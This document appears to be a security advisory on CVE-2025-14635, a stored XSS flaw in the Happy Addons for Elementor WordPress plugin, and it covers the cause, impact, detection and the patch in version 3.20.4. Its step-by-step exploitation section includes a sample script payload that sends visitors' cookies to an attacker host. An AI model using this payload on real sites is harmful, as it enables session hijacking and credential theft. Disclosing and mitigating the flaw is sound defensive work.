CVE-2025-14635: 
WordPress vulnerability analysis and mitigation

CVE-2025-14635 is a Stored Cross-Site Scripting (XSS) vulnerability in the Happy Addons for Elementor WordPress plugin, affecting all versions up to and including 3.20.3. The flaw exists in the ha_page_custom_js parameter due to insufficient input sanitization and output escaping, allowing authenticated attackers with Contributor-level access or above to inject arbitrary web scripts into pages. It was published on December 23, 2025, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically in the plugin's Custom JS extension (extensions/custom-js.php). The ha_page_custom_js parameter, which is intended to be restricted to Administrators, fails to properly sanitize input or escape output before rendering it on pages. This allows a Contributor-level user to bypass the intended role restriction and store malicious JavaScript that executes in the browsers of any visitor accessing the affected page (Wordfence, WordPress Trac).

Successful exploitation allows injected scripts to execute in the context of any user visiting the compromised page, enabling session hijacking, credential theft, defacement, or redirection to malicious sites. Because the payload is stored server-side, all visitors — including administrators — are at risk, potentially enabling privilege escalation or further site compromise. Confidentiality and integrity are both impacted (low severity each per CVSS), while availability is not directly affected (Red Hat CVE, Wordfence).

No public exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.03%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Gain Contributor Access: Register or compromise a WordPress account with at least Contributor-level privileges on the target site running Happy Addons for Elementor ≤ 3.20.3.
2. Edit or Create a Page: Navigate to the WordPress editor and open or create a page using the Elementor builder.
3. Inject Malicious Payload: Locate the Custom JS field (associated with the ha_page_custom_js parameter) and insert a malicious JavaScript payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie;</script>.
4. Publish the Page: Save and publish the page; the unsanitized script is stored in the database.
5. Trigger Execution: Any user (including administrators) who visits the affected page will have the injected script execute in their browser, enabling session theft, credential harvesting, or further attacks (Wordfence, WordPress Trac).

• Database: Unexpected JavaScript content (e.g., <script> tags, encoded payloads, external URL references) stored in the ha_page_custom_js post meta field in the WordPress wp_postmeta table.
• Logs: WordPress access logs showing POST requests to page edit endpoints by Contributor-level accounts, particularly targeting pages with Elementor content.
• Network: Outbound requests from visitor browsers to unknown or suspicious external domains originating from pages using the Happy Addons plugin.
• File System: No direct file system artifacts expected, as the payload is stored in the database; however, monitor for unexpected changes to page content via WordPress revision history.

Users should update the Happy Addons for Elementor plugin to version 3.20.4 or later, which addresses the insufficient sanitization in the ha_page_custom_js parameter (WordPress Trac Changeset). As an interim measure, site administrators can restrict Contributor-level user permissions or disable the Custom JS feature until the patch is applied. Reviewing existing pages for unexpected JavaScript content in the ha_page_custom_js field is also recommended (Wordfence).

Wordfence disclosed the vulnerability and included it in their weekly WordPress vulnerability report covering December 15, 2025 to January 4, 2026 (Wordfence Blog). Sucuri also noted the vulnerability in their December 2025 vulnerability patch roundup (Sucuri Blog). Community reaction has been measured, consistent with a medium-severity authenticated XSS issue with a patch already available.